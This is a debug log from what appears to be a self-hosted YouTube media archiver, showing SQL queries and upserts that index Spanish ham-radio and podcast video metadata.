22:29:06.913 [debug] Current batch of media processed. Will check again in 1000ms 22:29:06.963 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Bueno, esta vez es un regalito (entre lo que se va ahorrando y aprovechando un santo.... si es que soy como un niño pequeño, jaja) que me ha hecho mi mujer para que no me deje los ojos cuando hago cosas con smd. Y que espero usar en futuros videos.\n\n\n#radioaficionados #microscopio #andonstar #hamradio #diyelectronics #smd #laboratorio \n\n\nContenido del video\n00:00 - Presentación\n01:06 - Intro canal\n01:23 - Desembalado\n05:20 - Montaje\n10:28 - Puesta en marcha\n15:07 - Ampliando que es gerundio\n15:38 - Iluminación\n17:11 - Conclusiones\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1115, "filename" => "/downloads/music/ea3grn/141 - PROBANDO MICROSCOPIO DIGITAL PARA SOLDAR y SMD ELECTRONICA ANDONSTAR.m4a", "id" => "ujbFdDkQ6cc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ujbFdDkQ6cc", "playlist_index" => 40, "timestamp" => 1720720003, "title" => "141 - PROBANDO MICROSCOPIO DIGITAL PARA SOLDAR y SMD ELECTRONICA ANDONSTAR", "upload_date" => "20240711"} 22:29:06.964 [debug] QUERY OK source="sources" db=0.5ms idle=1203.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:29:06.965 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1203.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:29:06.966 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=1204.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-11 17:46:43Z], 3] 22:29:06.968 [debug] QUERY OK source="media_items" db=1.1ms idle=1195.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Bueno, esta vez es un regalito (entre lo que se va ahorrando y aprovechando un santo.... si es que soy como un niño pequeño, jaja) que me ha hecho mi mujer para que no me deje los ojos cuando hago cosas con smd. Y que espero usar en futuros videos.\n\n\n#radioaficionados #microscopio #andonstar #hamradio #diyelectronics #smd #laboratorio \n\n\nContenido del video\n00:00 - Presentación\n01:06 - Intro canal\n01:23 - Desembalado\n05:20 - Montaje\n10:28 - Puesta en marcha\n15:07 - Ampliando que es gerundio\n15:38 - Iluminación\n17:11 - Conclusiones\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "141 - PROBANDO MICROSCOPIO DIGITAL PARA SOLDAR y SMD ELECTRONICA ANDONSTAR", "4b1bc0fc-c4a2-4a47-ab10-9f4eedfcdef7", 1115, false, "ujbFdDkQ6cc", "https://www.youtube.com/watch?v=ujbFdDkQ6cc", 40, "/downloads/music/ea3grn/141 - PROBANDO MICROSCOPIO DIGITAL PARA SOLDAR y SMD ELECTRONICA ANDONSTAR.m4a", false, false, false, 3, [], 98, ~U[2024-07-11 17:46:43Z], ~U[2026-02-07 21:29:06Z], ~U[2026-02-07 21:29:06Z], "Bueno, esta vez es un regalito (entre lo que se va ahorrando y aprovechando un santo.... si es que soy como un niño pequeño, jaja) que me ha hecho mi mujer para que no me deje los ojos cuando hago cosas con smd. Y que espero usar en futuros videos.\n\n\n#radioaficionados #microscopio #andonstar #hamradio #diyelectronics #smd #laboratorio \n\n\nContenido del video\n00:00 - Presentación\n01:06 - Intro canal\n01:23 - Desembalado\n05:20 - Montaje\n10:28 - Puesta en marcha\n15:07 - Ampliando que es gerundio\n15:38 - Iluminación\n17:11 - Conclusiones\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "141 - PROBANDO MICROSCOPIO DIGITAL PARA SOLDAR y SMD ELECTRONICA ANDONSTAR", 1115, false, "ujbFdDkQ6cc", "https://www.youtube.com/watch?v=ujbFdDkQ6cc", "/downloads/music/ea3grn/141 - PROBANDO MICROSCOPIO DIGITAL PARA SOLDAR y SMD ELECTRONICA ANDONSTAR.m4a", false, 3, ~U[2024-07-11 17:46:43Z]] 22:29:06.968 [debug] QUERY OK source="sources" db=0.4ms idle=195.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:29:06.969 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:29:06.970 [debug] QUERY OK source="media_items" db=0.5ms idle=4.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1372] 22:29:06.970 [debug] Current batch of media processed. Will check again in 1000ms 22:29:07.914 [debug] Current batch of media processed. Will check again in 1000ms 22:29:07.970 [debug] Current batch of media processed. Will check again in 1000ms 22:29:08.915 [debug] Current batch of media processed. Will check again in 1000ms 22:29:08.971 [debug] Current batch of media processed. Will check again in 1000ms 22:29:09.916 [debug] Current batch of media processed. Will check again in 1000ms 22:29:09.972 [debug] Current batch of media processed. Will check again in 1000ms 22:29:10.917 [debug] Current batch of media processed. Will check again in 1000ms 22:29:10.973 [debug] Current batch of media processed. Will check again in 1000ms 22:29:11.918 [debug] Current batch of media processed. Will check again in 1000ms 22:29:11.974 [debug] Current batch of media processed. Will check again in 1000ms 22:29:12.919 [debug] Current batch of media processed. Will check again in 1000ms 22:29:12.975 [debug] Current batch of media processed. Will check again in 1000ms 22:29:13.920 [debug] Current batch of media processed. Will check again in 1000ms 22:29:13.976 [debug] Current batch of media processed. Will check again in 1000ms 22:29:14.921 [debug] Current batch of media processed. Will check again in 1000ms 22:29:14.977 [debug] Current batch of media processed. Will check again in 1000ms 22:29:15.922 [debug] Current batch of media processed. Will check again in 1000ms 22:29:15.978 [debug] Current batch of media processed. Will check again in 1000ms 22:29:16.923 [debug] Current batch of media processed. Will check again in 1000ms 22:29:16.979 [debug] Current batch of media processed. Will check again in 1000ms 22:29:17.924 [debug] Current batch of media processed. Will check again in 1000ms 22:29:17.980 [debug] Current batch of media processed. Will check again in 1000ms 22:29:18.925 [debug] Current batch of media processed. Will check again in 1000ms 22:29:18.981 [debug] Current batch of media processed. Will check again in 1000ms 22:29:19.926 [debug] Current batch of media processed. Will check again in 1000ms 22:29:19.982 [debug] Current batch of media processed. Will check again in 1000ms 22:29:20.927 [debug] Current batch of media processed. Will check again in 1000ms 22:29:20.983 [debug] Current batch of media processed. Will check again in 1000ms 22:29:21.205 [info] {"source":"oban","duration":1130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:21.928 [debug] Current batch of media processed. Will check again in 1000ms 22:29:21.984 [debug] Current batch of media processed. Will check again in 1000ms 22:29:22.929 [debug] Current batch of media processed. Will check again in 1000ms 22:29:22.985 [debug] Current batch of media processed. Will check again in 1000ms 22:29:23.930 [debug] Current batch of media processed. Will check again in 1000ms 22:29:23.986 [debug] Current batch of media processed. Will check again in 1000ms 22:29:24.931 [debug] Current batch of media processed. Will check again in 1000ms 22:29:24.987 [debug] Current batch of media processed. Will check again in 1000ms 22:29:25.932 [debug] Current batch of media processed. Will check again in 1000ms 22:29:25.988 [debug] Current batch of media processed. Will check again in 1000ms 22:29:26.933 [debug] Current batch of media processed. Will check again in 1000ms 22:29:26.989 [debug] Current batch of media processed. Will check again in 1000ms 22:29:27.934 [debug] Current batch of media processed. Will check again in 1000ms 22:29:27.990 [debug] Current batch of media processed. Will check again in 1000ms 22:29:28.935 [debug] Current batch of media processed. Will check again in 1000ms 22:29:28.991 [debug] Current batch of media processed. Will check again in 1000ms 22:29:29.936 [debug] Current batch of media processed. Will check again in 1000ms 22:29:29.992 [debug] Current batch of media processed. Will check again in 1000ms 22:29:30.937 [debug] Current batch of media processed. Will check again in 1000ms 22:29:30.993 [debug] Current batch of media processed. Will check again in 1000ms 22:29:31.938 [debug] Current batch of media processed. Will check again in 1000ms 22:29:31.994 [debug] Current batch of media processed. Will check again in 1000ms 22:29:32.939 [debug] Current batch of media processed. Will check again in 1000ms 22:29:32.995 [debug] Current batch of media processed. Will check again in 1000ms 22:29:33.940 [debug] Current batch of media processed. Will check again in 1000ms 22:29:33.996 [debug] Current batch of media processed. Will check again in 1000ms 22:29:34.941 [debug] Current batch of media processed. Will check again in 1000ms 22:29:34.997 [debug] Current batch of media processed. Will check again in 1000ms 22:29:35.942 [debug] Current batch of media processed. Will check again in 1000ms 22:29:35.998 [debug] Current batch of media processed. Will check again in 1000ms 22:29:36.943 [debug] Current batch of media processed. Will check again in 1000ms 22:29:36.999 [debug] Current batch of media processed. Will check again in 1000ms 22:29:37.944 [debug] Current batch of media processed. Will check again in 1000ms 22:29:38.000 [debug] Current batch of media processed. Will check again in 1000ms 22:29:38.945 [debug] Current batch of media processed. Will check again in 1000ms 22:29:39.001 [debug] Current batch of media processed. Will check again in 1000ms 22:29:39.946 [debug] Current batch of media processed. Will check again in 1000ms 22:29:40.002 [debug] Current batch of media processed. Will check again in 1000ms 22:29:40.947 [debug] Current batch of media processed. Will check again in 1000ms 22:29:41.003 [debug] Current batch of media processed. Will check again in 1000ms 22:29:41.948 [debug] Current batch of media processed. Will check again in 1000ms 22:29:42.004 [debug] Current batch of media processed. Will check again in 1000ms 22:29:42.949 [debug] Current batch of media processed. Will check again in 1000ms 22:29:43.005 [debug] Current batch of media processed. Will check again in 1000ms 22:29:43.950 [debug] Current batch of media processed. Will check again in 1000ms 22:29:44.006 [debug] Current batch of media processed. Will check again in 1000ms 22:29:44.951 [debug] Current batch of media processed. Will check again in 1000ms 22:29:45.007 [debug] Current batch of media processed. Will check again in 1000ms 22:29:45.952 [debug] Current batch of media processed. Will check again in 1000ms 22:29:46.008 [debug] Current batch of media processed. Will check again in 1000ms 22:29:46.953 [debug] Current batch of media processed. Will check again in 1000ms 22:29:47.009 [debug] Current batch of media processed. Will check again in 1000ms 22:29:47.954 [debug] Current batch of media processed. Will check again in 1000ms 22:29:48.010 [debug] Current batch of media processed. Will check again in 1000ms 22:29:48.955 [debug] Current batch of media processed. Will check again in 1000ms 22:29:49.011 [debug] Current batch of media processed. Will check again in 1000ms 22:29:49.956 [debug] Current batch of media processed. Will check again in 1000ms 22:29:50.012 [debug] Current batch of media processed. Will check again in 1000ms 22:29:50.957 [debug] Current batch of media processed. Will check again in 1000ms 22:29:51.013 [debug] Current batch of media processed. Will check again in 1000ms 22:29:51.207 [info] {"source":"oban","duration":1031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:51.958 [debug] Current batch of media processed. Will check again in 1000ms 22:29:52.014 [debug] Current batch of media processed. Will check again in 1000ms 22:29:52.959 [debug] Current batch of media processed. Will check again in 1000ms 22:29:53.015 [debug] Current batch of media processed. Will check again in 1000ms 22:29:53.960 [debug] Current batch of media processed. Will check again in 1000ms 22:29:54.017 [debug] Current batch of media processed. Will check again in 1000ms 22:29:54.961 [debug] Current batch of media processed. Will check again in 1000ms 22:29:55.018 [debug] Current batch of media processed. Will check again in 1000ms 22:29:55.962 [debug] Current batch of media processed. Will check again in 1000ms 22:29:56.019 [debug] Current batch of media processed. Will check again in 1000ms 22:29:56.963 [debug] Current batch of media processed. Will check again in 1000ms 22:29:57.020 [debug] Current batch of media processed. Will check again in 1000ms 22:29:57.964 [debug] Current batch of media processed. Will check again in 1000ms 22:29:58.021 [debug] Current batch of media processed. Will check again in 1000ms 22:29:58.965 [debug] Current batch of media processed. Will check again in 1000ms 22:29:59.022 [debug] Current batch of media processed. Will check again in 1000ms 22:29:59.966 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "☠️La causa del 25% de las muertes...... Crees que te interesa o no ??? ahhh que tu eres del 75% que esto no te afecta.... me alegro.... deja de leer y sigue viendo Linkedin.....\n\n👉🏻Si esta en IAMIQue .... es que te interesa.... David García Martínez y yo te lo queremos explicar, repito porque es importante, sino no lo hacemos. \n\n🕑Así que emplea 8 minutos bien entérate que es el exposoma y cuando lo vuelvas a oír lo atenderás con la importancia que requiere.\n\ny por fa 🙏 :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo \n\n#iamique #Origen #Exposoma #Exposome #iagen #GenAI #DNA #ADN #Longevidad #Longevity #chatgpt #genetics #test #biotechnology", "duration" => 496, "filename" => "/downloads/music/IA mí QUÉ/EP.11: El exposoma.m4a", "id" => "Us3bD--pRKU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Us3bD--pRKU", "playlist_index" => 39, "timestamp" => 1747393069, "title" => "EP.11: El exposoma", "upload_date" => "20250516"} 22:29:59.967 [debug] QUERY OK source="sources" db=0.7ms idle=1206.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:29:59.969 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1207.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:29:59.970 [debug] QUERY OK source="media_items" db=0.8ms idle=1208.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-16 10:57:49Z], 2] 22:29:59.971 [debug] QUERY OK source="media_items" db=1.1ms idle=1099.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["☠️La causa del 25% de las muertes...... Crees que te interesa o no ??? ahhh que tu eres del 75% que esto no te afecta.... me alegro.... deja de leer y sigue viendo Linkedin.....\n\n👉🏻Si esta en IAMIQue .... es que te interesa.... David García Martínez y yo te lo queremos explicar, repito porque es importante, sino no lo hacemos. \n\n🕑Así que emplea 8 minutos bien entérate que es el exposoma y cuando lo vuelvas a oír lo atenderás con la importancia que requiere.\n\ny por fa 🙏 :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo \n\n#iamique #Origen #Exposoma #Exposome #iagen #GenAI #DNA #ADN #Longevidad #Longevity #chatgpt #genetics #test #biotechnology", "EP.11: El exposoma", "b4dd83e1-c791-4b27-afc9-ce4f3d9ceb30", 496, false, "Us3bD--pRKU", "https://www.youtube.com/watch?v=Us3bD--pRKU", 39, "/downloads/music/IA mí QUÉ/EP.11: El exposoma.m4a", false, false, false, 2, [], 98, ~U[2025-05-16 10:57:49Z], ~U[2026-02-07 21:29:59Z], ~U[2026-02-07 21:29:59Z], "☠️La causa del 25% de las muertes...... Crees que te interesa o no ??? ahhh que tu eres del 75% que esto no te afecta.... me alegro.... deja de leer y sigue viendo Linkedin.....\n\n👉🏻Si esta en IAMIQue .... es que te interesa.... David García Martínez y yo te lo queremos explicar, repito porque es importante, sino no lo hacemos. \n\n🕑Así que emplea 8 minutos bien entérate que es el exposoma y cuando lo vuelvas a oír lo atenderás con la importancia que requiere.\n\ny por fa 🙏 :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo \n\n#iamique #Origen #Exposoma #Exposome #iagen #GenAI #DNA #ADN #Longevidad #Longevity #chatgpt #genetics #test #biotechnology", "EP.11: El exposoma", 496, false, "Us3bD--pRKU", "https://www.youtube.com/watch?v=Us3bD--pRKU", "/downloads/music/IA mí QUÉ/EP.11: El exposoma.m4a", false, 2, ~U[2025-05-16 10:57:49Z]] 22:29:59.972 [debug] QUERY OK source="sources" db=0.5ms idle=99.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:29:59.973 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=4.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:29:59.974 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=4.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1345] 22:29:59.974 [debug] Current batch of media processed. Will check again in 1000ms 22:30:00.023 [debug] Current batch of media processed. Will check again in 1000ms 22:30:00.107 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:30:00.974 [debug] Current batch of media processed. Will check again in 1000ms 22:30:01.024 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "En esta ocasión vamos a intentar reparar una Yaesu FT2500M con una avería que no se apaga. Acompañarme en la búsqueda de la averia...\n\n\n\n Contenido del video \n\n00:00 - Presentación\n00:28 - Intro canal\n00:45 - Mostrando averia\n02:11 - Yaesu FT2500M\n02:38 - Siguiendo esquema\n05:10 - siguiendo la señal del procesador\n07:25 - siguiendo señales\n10:26 - descubriendo el fallo numero 1\n12:04 - Reparando apagado equipo\n14:22 - Segunda averia: no da potencia\n15:04 - Abriendo tapa inferior\n15:39 - Demora\n16:35 - Reparación salida potencia\n\n\n#reparando #yaesu #radioaficionados #hamradio #diyelectronics #ft2500m #2sc2053 \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1632, "filename" => "/downloads/music/ea3grn/140 - REPARACIÓN YAESU FT2500M QUE NO SE APAGA.m4a", "id" => "BC6iC19uAqU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=BC6iC19uAqU", "playlist_index" => 41, "timestamp" => 1720108814, "title" => "140 - REPARACIÓN YAESU FT2500M QUE NO SE APAGA", "upload_date" => "20240704"} 22:30:01.025 [debug] QUERY OK source="sources" db=0.5ms idle=1052.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:30:01.026 [debug] QUERY OK source="sources" db=0.4ms idle=1052.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:30:01.027 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=1052.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-04 16:00:14Z], 3] 22:30:01.028 [debug] QUERY OK source="media_items" db=1.1ms idle=920.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["En esta ocasión vamos a intentar reparar una Yaesu FT2500M con una avería que no se apaga. Acompañarme en la búsqueda de la averia...\n\n\n\n Contenido del video \n\n00:00 - Presentación\n00:28 - Intro canal\n00:45 - Mostrando averia\n02:11 - Yaesu FT2500M\n02:38 - Siguiendo esquema\n05:10 - siguiendo la señal del procesador\n07:25 - siguiendo señales\n10:26 - descubriendo el fallo numero 1\n12:04 - Reparando apagado equipo\n14:22 - Segunda averia: no da potencia\n15:04 - Abriendo tapa inferior\n15:39 - Demora\n16:35 - Reparación salida potencia\n\n\n#reparando #yaesu #radioaficionados #hamradio #diyelectronics #ft2500m #2sc2053 \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "140 - REPARACIÓN YAESU FT2500M QUE NO SE APAGA", "51d7ca01-3031-4f3e-8f78-71f4b606c60c", 1632, false, "BC6iC19uAqU", "https://www.youtube.com/watch?v=BC6iC19uAqU", 41, "/downloads/music/ea3grn/140 - REPARACIÓN YAESU FT2500M QUE NO SE APAGA.m4a", false, false, false, 3, [], 98, ~U[2024-07-04 16:00:14Z], ~U[2026-02-07 21:30:01Z], ~U[2026-02-07 21:30:01Z], "En esta ocasión vamos a intentar reparar una Yaesu FT2500M con una avería que no se apaga. Acompañarme en la búsqueda de la averia...\n\n\n\n Contenido del video \n\n00:00 - Presentación\n00:28 - Intro canal\n00:45 - Mostrando averia\n02:11 - Yaesu FT2500M\n02:38 - Siguiendo esquema\n05:10 - siguiendo la señal del procesador\n07:25 - siguiendo señales\n10:26 - descubriendo el fallo numero 1\n12:04 - Reparando apagado equipo\n14:22 - Segunda averia: no da potencia\n15:04 - Abriendo tapa inferior\n15:39 - 